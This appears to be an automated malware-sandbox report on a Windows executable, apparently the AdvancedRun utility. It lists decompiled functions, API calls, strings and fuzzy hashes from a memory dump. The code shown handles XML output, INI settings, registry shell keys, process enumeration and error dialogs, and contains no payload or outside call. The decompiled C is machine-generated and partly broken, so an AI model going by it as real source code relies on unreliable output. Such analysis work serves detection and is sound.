0x00407de5
0x00407deb
0x00407df2
0x00407df3
0x00407dfe
0x00407e03
0x00407e04
0x00407e21

APIs

memset.MSVCRT ref: 00407DA5
memset.MSVCRT ref: 00407DBA
_snwprintf.MSVCRT ref: 00407E04

Strings

<%s>, xrefs: 00407DF3
<?xml version="1.0" ?>, xrefs: 00407DC9
<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00407DD0

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3473751417-2880344631
Opcode ID: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction ID: f522b8c77a058770ba0888167d6ec5df55c59d6d485a4440fbbc7c77367e2349
Opcode Fuzzy Hash: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction Fuzzy Hash: E0019BB1E402197AD710A695CC45FBE766CEF44344F0001FBBA08F3191D738AE4586ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00403B3C(intOrPtr _a4) {
				void _v526;
				char _v528;
				void _v2574;
				char _v2576;
				void* __edi;
				intOrPtr _t29;

				_v2576 = 0;
				memset( &_v2574, 0, 0x7fe);
				_v528 = 0;
				memset( &_v526, 0, 0x208);
				E00404AD9( &_v528);
				_push( &_v528);
				_push(L"\"%s\" /EXEFilename \"%%1\"");
				_push(0x3ff);
				_push( &_v2576);
				L0040B1EC();
				_t37 = _a4 + 0xa68;
				E00404923(0x104, _a4 + 0xa68, L"exefile");
				E00404923(0x104, _a4 + 0xc72, L"Advanced Run");
				E00404923(0x3ff, _t37 + 0x414,  &_v2576);
				_t29 = E0040467A(_t37);
				 *((intOrPtr*)(_a4 + 0x167c)) = _t29;
				return _t29;
			}

0x00403b56
0x00403b5d
0x00403b6f
0x00403b76
0x00403b82
0x00403b8d
0x00403b8e
0x00403b99
0x00403b9e
0x00403b9f
0x00403ba7
0x00403bb9
0x00403bce
0x00403be5
0x00403bef
0x00403bf8
0x00403c00

APIs

memset.MSVCRT ref: 00403B5D
memset.MSVCRT ref: 00403B76

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 0040467A: memset.MSVCRT ref: 004046AF
Part of subcall function 0040467A: _snwprintf.MSVCRT ref: 004046CD
Part of subcall function 0040467A: RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
Part of subcall function 0040467A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

"%s" /EXEFilename "%%1", xrefs: 00403B8E
exefile, xrefs: 00403BAD
Advanced Run, xrefs: 00403BBE

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$CloseFileModuleNameOpenmemcpywcslen
String ID: "%s" /EXEFilename "%%1"$Advanced Run$exefile
API String ID: 1832587304-479876776
Opcode ID: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction ID: c5548abdd2f98fe5b378efca96f69d72dd5acd8230f4ce7b006819db5738462c
Opcode Fuzzy Hash: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction Fuzzy Hash: 6B11A3B29403186AD720E761CC05ACF776CDF45314F0041B6BA08B71C2D77C5B418B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFBE, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AFBE(void* __esi, void* _a4, wchar_t* _a8, wchar_t* _a12) {
				void* _v8;
				int _v12;
				short _v524;
				char _v1036;
				void* __edi;

				wcscpy( &_v524, L"\\StringFileInfo\\");
				wcscat( &_v524, _a8);
				wcscat( &_v524, "\\");
				wcscat( &_v524, _a12);
				if(VerQueryValueW(_a4,  &_v524,  &_v8,  &_v12) == 0) {
					return 0;
				}
				_t34 =  &_v1036;
				E00404923(0xff,  &_v1036, _v8);
				E004049A2(_t34, __esi);
				return 1;
			}

0x0040afd3
0x0040afe2
0x0040aff3
0x0040b002
0x0040b023
0x00000000
0x0040b047
0x0040b02e
0x0040b034
0x0040b03c
0x00000000

APIs

wcscpy.MSVCRT ref: 0040AFD3
wcscat.MSVCRT ref: 0040AFE2
wcscat.MSVCRT ref: 0040AFF3
wcscat.MSVCRT ref: 0040B002
VerQueryValueW.VERSION(?,?,00000000,?), ref: 0040B01C

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 004049A2: lstrcpyW.KERNEL32 ref: 004049B7
Part of subcall function 004049A2: lstrlenW.KERNEL32(?), ref: 004049BE

Strings

\StringFileInfo\, xrefs: 0040AFCD

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 393120378-2245444037
Opcode ID: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction ID: 46c7c43bb965d9609608e4f6c2ae6b517043b349f439a100f6d085a340de75fe
Opcode Fuzzy Hash: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction Fuzzy Hash: CF015EB290020DA6DB11EAA2CC45DDF776DDB44304F0005B6B654F2092EB3CDA969A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E8D, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00405EB2
wcscpy.MSVCRT ref: 00405ED5

Strings

strings, xrefs: 00405EC0
general, xrefs: 00405ECB
menu_%d, xrefs: 00405E96
dialog_%d, xrefs: 00405EA6

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction ID: fc2f6d5a95cb840c7437c23e5da9cc5f651b22c54dcbfaa02992beb3cb27aad2
Opcode Fuzzy Hash: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction Fuzzy Hash: CDE08C31A94B00B5E96423418DC7F2B2801DE90B14FB0083BF686B05C1E6BDBA0528DF

Uniqueness

Uniqueness Score: -1.00%

Function 004092F0, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004092F0(void* __ecx, void* __eflags, long _a4, void _a8, intOrPtr _a12, long _a16, intOrPtr _a508, intOrPtr _a512, intOrPtr _a540, intOrPtr _a544, char _a552, char _a560, intOrPtr _a572, intOrPtr _a576, intOrPtr _a580, long _a1096, char _a1600, int _a1616, void _a1618, char _a2160) {
				void* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				unsigned int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				void* _t59;
				void* _t69;
				void* _t72;
				intOrPtr _t78;
				void _t89;
				signed int _t90;
				int _t98;
				signed int _t105;
				signed int _t106;
				void* _t109;

				_t106 = _t105 & 0xfffffff8;
				E0040B550(0x8874, __ecx);
				_t98 = 0;
				_a8 = 0;
				if(E00404BD3() == 0) {
					L12:
					__eflags =  *0x4101b8 - _t98; // 0x0
					if(__eflags != 0) {
						_t89 = _a4;
						_t58 =  *0x40f83c(8, _t89);
						__eflags = _t58 - 0xffffffff;
						_v8 = _t58;
						if(_t58 != 0xffffffff) {
							_v0 = 1;
							_a560 = 0x428;
							_t59 =  *0x40f834(_t58,  &_a560);
							while(1) {
								__eflags = _t59;
								if(_t59 == 0) {
									goto L18;
								}
								memset( &_a8, _t98, 0x21c);
								_a12 = _a580;
								_a8 = _t89;
								wcscpy( &_a16,  &_a1096);
								_a540 = _a576;
								_t106 = _t106 + 0x14;
								_a544 = _a572;
								_a552 = 0x428;
								_t69 = E00409510(_a8,  &_a8);
								__eflags = _t69;
								if(_t69 != 0) {
									_t59 =  *0x40f830(_v16,  &_a552);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t109 =  *0x4101bc - _t98; // 0x0
					if(_t109 == 0) {
						goto L12;
					} else {
						_t72 = OpenProcess(0x410, 0, _a4);
						_v0 = _t72;
						if(_t72 != 0) {
							_push( &_a4);
							_push(0x8000);
							_push( &_a2160);
							_push(_t72);
							if( *0x40f840() != 0) {
								_t6 =  &_v12;
								 *_t6 = _v12 >> 2;
								_v8 = 1;
								_t90 = 0;
								if( *_t6 != 0) {
									while(1) {
										_a1616 = _t98;
										memset( &_a1618, _t98, 0x208);
										memset( &_a8, _t98, 0x21c);
										_t78 =  *((intOrPtr*)(_t106 + 0x898 + _t90 * 4));
										_t106 = _t106 + 0x18;
										_a8 = _a4;
										_a12 = _t78;
										 *0x40f838(_v16, _t78,  &_a1616, 0x104);
										E0040920A( &_v0,  &_a1600);
										_push(0xc);
										_push( &_v20);
										_push(_v4);
										_push(_v32);
										if( *0x40f844() != 0) {
											_a508 = _v32;
											_a512 = _v36;
										}
										if(E00409510(_a8,  &_v24) == 0) {
											goto L18;
										}
										_t90 = _t90 + 1;
										if(_t90 < _v44) {
											_t98 = 0;
											__eflags = 0;
											continue;
										} else {
										}
										goto L18;
									}
								}
							}
							L18:
							CloseHandle(_v16);
						}
					}
				}
				return _a8;
			}

0x004092f3
0x004092fb
0x00409303
0x00409305
0x00409310
0x00409433
0x00409433
0x00409439
0x0040943f
0x00409445
0x0040944b
0x0040944e
0x00409452
0x00409466
0x0040946e
0x00409475
0x004094f7
0x004094f7
0x004094f9
0x00000000
0x00000000
0x00409488
0x00409494
0x004094a5
0x004094a9
0x004094b5
0x004094c3
0x004094c6
0x004094d5
0x004094dc
0x004094e1
0x004094e3
0x004094f1
0x00000000
0x004094f1
0x00000000
0x004094e3
0x00000000
0x004094f7
0x00409452
0x00409316
0x00409316
0x0040931c
0x00000000
0x00409322
0x0040932b
0x00409333
0x00409337
0x00409341
0x00409342
0x0040934e
0x0040934f
0x00409358
0x0040935e
0x0040935e
0x00409363
0x0040936b
0x0040936d
0x00409377
0x00409385
0x0040938d
0x0040939d
0x004093a5
0x004093ac
0x004093b4
0x004093c5
0x004093c9
0x004093da
0x004093df
0x004093e5
0x004093e6
0x004093ea
0x004093f6
0x004093fc
0x00409407
0x00409407
0x0040941d
0x00000000
0x00000000
0x00409423
0x00409428
0x00409375
0x00409375
0x00000000
0x00000000
0x0040942e
0x00000000
0x00409428
0x00409377
0x0040936d
0x004094fb
0x004094ff
0x004094ff
0x00409337
0x0040931c
0x0040950f

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00408CE3,00000000,00000000), ref: 0040932B
memset.MSVCRT ref: 0040938D
memset.MSVCRT ref: 0040939D

Part of subcall function 0040920A: wcscpy.MSVCRT ref: 00409233

memset.MSVCRT ref: 00409488
wcscpy.MSVCRT ref: 004094A9
CloseHandle.KERNEL32(?,00408CE3,?,?,?,00408CE3,00000000,00000000), ref: 004094FF

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction ID: b0ac5d6e05c2becfea0857ee93370de63ec0533c429aeeb167529e34c4b0c205
Opcode Fuzzy Hash: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction Fuzzy Hash: AE512A71108345ABD720DF65CC88A9BB7E8FFC4304F404A3EF989A2291DB75D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC8, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00402EC8(void* __ebx) {
				struct tagRECT _v20;
				struct tagPAINTSTRUCT _v84;

				GetClientRect( *(__ebx + 0x10),  &_v20);
				_v20.left = _v20.right - GetSystemMetrics(0x15);
				_v20.top = _v20.bottom - GetSystemMetrics(0x14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				DrawFrameControl(BeginPaint( *(__ebx + 0x10),  &_v84),  &_v20, 3, 8);
				return EndPaint( *(__ebx + 0x10),  &_v84);
			}

0x00402ed7
0x00402eee
0x00402ef8
0x00402f00
0x00402f01
0x00402f05
0x00402f0a
0x00402f1a
0x00402f30

APIs

GetClientRect.USER32 ref: 00402ED7
GetSystemMetrics.USER32 ref: 00402EE5
GetSystemMetrics.USER32 ref: 00402EF1
BeginPaint.USER32(?,?), ref: 00402F0B
DrawFrameControl.USER32 ref: 00402F1A
EndPaint.USER32(?,?), ref: 00402F27

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction ID: c8721ad6730a543cd54d50ae751cb56b62cc93be397439d4b1c9778783e315ec
Opcode Fuzzy Hash: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction Fuzzy Hash: 8C01EC72900218EFDF04DFA4DD859FE7B79FB44301F000569EA11AA195DA71A904CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004079A4, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004079A4(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v514;
				signed short _v516;
				signed short* _t34;
				signed int _t37;
				void* _t40;
				signed short* _t44;
				void* _t46;

				_t40 = __edi;
				E00407343(__edi, _a4, L"<item>\r\n");
				_t37 = 0;
				if( *((intOrPtr*)(__edi + 0x2c)) > 0) {
					do {
						_v516 = _v516 & 0x00000000;
						memset( &_v514, 0, 0x1fc);
						E0040ADF1( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4),  *((intOrPtr*)(__edi + 0x60))),  *((intOrPtr*)(__edi + 0x64)));
						_t44 =  &_v516;
						E00407250(_t44,  *((intOrPtr*)( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4) * 0x14 +  *((intOrPtr*)(__edi + 0x40)) + 0x10)));
						_t34 = _t44;
						_push(_t34);
						_push( *((intOrPtr*)(__edi + 0x64)));
						_push(_t34);
						_push(L"<%s>%s</%s>\r\n");
						_push(0x2000);
						_push( *((intOrPtr*)(__edi + 0x68)));
						L0040B1EC();
						_t46 = _t46 + 0x24;
						E00407343(__edi, _a4,  *((intOrPtr*)(__edi + 0x68)));
						_t37 = _t37 + 1;
					} while (_t37 <  *((intOrPtr*)(__edi + 0x2c)));
				}
				return E00407343(_t40, _a4, L"</item>\r\n");
			}

0x004079a4
0x004079b8
0x004079bd
0x004079c2
0x004079c5
0x004079c5
0x004079db
0x004079f7
0x00407a06
0x00407a0c
0x00407a11
0x00407a13
0x00407a14
0x00407a17
0x00407a18
0x00407a1d
0x00407a22
0x00407a25
0x00407a2a
0x00407a35
0x00407a3a
0x00407a3b
0x00407a40
0x00407a52

APIs

memset.MSVCRT ref: 004079DB

Part of subcall function 0040ADF1: memcpy.MSVCRT ref: 0040AE6E

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407A25

Strings

<item>, xrefs: 004079AE
</item>, xrefs: 00407A41
<%s>%s</%s>, xrefs: 00407A18

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 1775345501-2769808009
Opcode ID: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction ID: c8ba369f0531ab1f4cd0c6f6a7ba1592bf00f2a9533aec28b16f0bdd84d8fa76
Opcode Fuzzy Hash: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction Fuzzy Hash: 3D119131A40219BFDB21AB65CC86E5A7B25FF04308F00006AFD0477692C739B965DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040467A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040467A(void* __edi) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void _v2062;
				short _v2064;
				int _t16;

				_v8 = _v8 & 0x00000000;
				_t16 = E004043F8( &_v12, 0x20019);
				if(_t16 == 0) {
					_v2064 = _v2064 & _t16;
					memset( &_v2062, _t16, 0x7fe);
					_push(__edi + 0x20a);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v2064);
					L0040B1EC();
					if(RegOpenKeyExW(_v12,  &_v2064, 0, 0x20019,  &_v16) == 0) {
						_v8 = 1;
						RegCloseKey(_v16);
					}
				}
				return _v8;
			}

0x00404683
0x00404692
0x00404699
0x0040469b
0x004046af
0x004046ba
0x004046bc
0x004046c7
0x004046cc
0x004046cd
0x004046ee
0x004046f3
0x004046fa
0x004046fa
0x004046ee
0x00404705

APIs

memset.MSVCRT ref: 004046AF
_snwprintf.MSVCRT ref: 004046CD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

%s\shell\%s, xrefs: 004046BC

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen_snwprintfmemset
String ID: %s\shell\%s
API String ID: 1458959524-3196117466
Opcode ID: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction ID: 1855bd24da60c853c30f7b3e18bb60aca338c900c60696cbbcdbf1fba26ecf92
Opcode Fuzzy Hash: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction Fuzzy Hash: 20011EB5D00218FADB109BD1DD45FDAB7BCEF44314F0041B6AA04F2181EB749B489BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409D5F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409D5F(void* __ecx, wchar_t* __esi, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				signed short _v131076;

				_t25 = __esi;
				E0040B550(0x20000, __ecx);
				if(_a4 == 0) {
					return GetPrivateProfileStringW(_a8, _a12, _a16, __esi, _a20, _a24);
				} else {
					if(__esi == 0 || wcschr(__esi, 0x22) == 0) {
						_push(_a24);
					} else {
						_v131076 = _v131076 & 0x00000000;
						_push(__esi);
						_push(L"\"%s\"");
						_push(0xfffe);
						_push( &_v131076);
						L0040B1EC();
						_push(_a24);
						_push( &_v131076);
					}
					return WritePrivateProfileStringW(_a8, _a12, ??, ??);
				}
			}

0x00409d5f
0x00409d67
0x00409d70
0x00409ddb
0x00409d72
0x00409d74
0x00409db2
0x00409d84
0x00409d84
0x00409d8c
0x00409d8d
0x00409d98
0x00409d9d
0x00409d9e
0x00409da6
0x00409daf
0x00409daf
0x00409dc3
0x00409dc3

APIs

wcschr.MSVCRT ref: 00409D79
_snwprintf.MSVCRT ref: 00409D9E
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409DBC
GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 00409DD4

Strings

"%s", xrefs: 00409D8D

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$Write_snwprintfwcschr
String ID: "%s"
API String ID: 1343145685-3297466227
Opcode ID: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction ID: cff84325bbeeabecfb89bf19508a3778b9d9768fc6139f0f3fcaa17558a1ecc1
Opcode Fuzzy Hash: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction Fuzzy Hash: BA018B3244421AFADF219F90DC45FDA3B6AEF04348F008065BA14701E3D739C921DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004047D2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
windowCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004047D2(long __ecx, void* __eflags, struct HWND__* _a4) {
				char _v2052;
				short _v4100;
				void* __edi;
				long _t15;
				long _t16;

				_t15 = __ecx;
				E0040B550(0x1000, __ecx);
				_t16 = _t15;
				if(_t16 == 0) {
					_t16 = GetLastError();
				}
				E00404706(_t16,  &_v2052);
				_push( &_v2052);
				_push(_t16);
				_push(L"Error %d: %s");
				_push(0x400);
				_push( &_v4100);
				L0040B1EC();
				return MessageBoxW(_a4,  &_v4100, L"Error", 0x30);
			}

0x004047d2
0x004047da
0x004047e0
0x004047e4
0x004047ec
0x004047ec
0x004047f5
0x00404800
0x00404801
0x00404802
0x0040480d
0x00404812
0x00404813
0x00404834

APIs

GetLastError.KERNEL32(?,?,004035EB,?,?), ref: 004047E6
_snwprintf.MSVCRT ref: 00404813
MessageBoxW.USER32(?,?,Error,00000030), ref: 0040482C

Strings

Error, xrefs: 0040481D
Error %d: %s, xrefs: 00404802

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction ID: 90e5118ee4f46ea14b6138c5fdcdbe0805ab296af9aaa7bfd3b1d45c15712702
Opcode Fuzzy Hash: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction Fuzzy Hash: 30F08975500208A6C711A795CC46FD572ACEB44785F0401B6B604F31C1DB78AA448A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004068EC, Relevance: 7.6, APIs: 6, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004068EC(intOrPtr* __eax, void* __eflags, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t74;
				signed int _t76;
				signed short _t85;
				signed int _t87;
				intOrPtr _t88;
				signed short _t93;
				void* _t95;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				intOrPtr* _t131;
				signed int _t135;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t142;
				void* _t146;

				_t142 = __eflags;
				_push(_t102);
				_t131 = __eax;
				 *((intOrPtr*)(__eax + 4)) =  *((intOrPtr*)( *__eax + 0x68))();
				E00406746(__eax);
				 *(_t131 + 0x38) =  *(_t131 + 0x38) & 0x00000000;
				_t135 = 5;
				 *((intOrPtr*)(_t131 + 0x2a0)) = _a4;
				_t124 = 0x14;
				_t74 = _t135 * _t124;
				 *(_t131 + 0x2d0) = _t135;
				_push( ~(0 | _t142 > 0x00000000) | _t74);
				L0040B26C();
				 *(_t131 + 0x2d4) = _t74;
				_t126 = 0x14;
				_t76 = _t135 * _t126;
				_push( ~(0 | _t142 > 0x00000000) | _t76);
				L0040B26C();
				_t95 = 0x40f008;
				 *(_t131 + 0x40) = _t76;
				_v8 = 0x40f008;
				do {
					_t137 =  *_t95 * 0x14;
					memcpy( *(_t131 + 0x2d4) + _t137, _t95, 0x14);
					_t24 = _t95 + 0x14; // 0x40f01c
					memcpy( *(_t131 + 0x40) + _t137, _t24, 0x14);
					_t85 =  *( *(_t131 + 0x2d4) + _t137 + 0x10);
					_t141 = _t141 + 0x18;
					_v12 = _t85;
					 *( *(_t131 + 0x40) + _t137 + 0x10) = _t85;
					if((_t85 & 0xffff0000) == 0) {
						 *( *(_t131 + 0x2d4) + _t137 + 0x10) = E00405B81(_t85 & 0x0000ffff);
						_t93 = E00405B81(_v12 | 0x00010000);
						_t95 = _v8;
						 *( *(_t131 + 0x40) + _t137 + 0x10) = _t93;
					}
					_t95 = _t95 + 0x28;
					_t146 = _t95 - 0x40f0d0;
					_v8 = _t95;
				} while (_t146 < 0);
				 *(_t131 + 0x44) =  *(_t131 + 0x44) & 0x00000000;
				_t138 = 5;
				_t128 = 4;
				_t87 = _t138 * _t128;
				 *((intOrPtr*)(_t131 + 0x48)) = 1;
				 *(_t131 + 0x2c) = _t138;
				 *((intOrPtr*)(_t131 + 0x28)) = 0x20;
				_push( ~(0 | _t146 > 0x00000000) | _t87);
				L0040B26C();
				_push(0xc);
				 *(_t131 + 0x30) = _t87;
				L0040B26C();
				_t139 = _t87;
				if(_t87 == 0) {
					_t88 = 0;
					__eflags = 0;
				} else {
					_t88 = E00406607(_a4,  *((intOrPtr*)(_t131 + 0x58)), _t139);
				}
				 *((intOrPtr*)(_t131 + 0x2c0)) = _t88;
				 *((intOrPtr*)(_t131 + 0x4c)) = 1;
				 *((intOrPtr*)(_t131 + 0x50)) = 0;
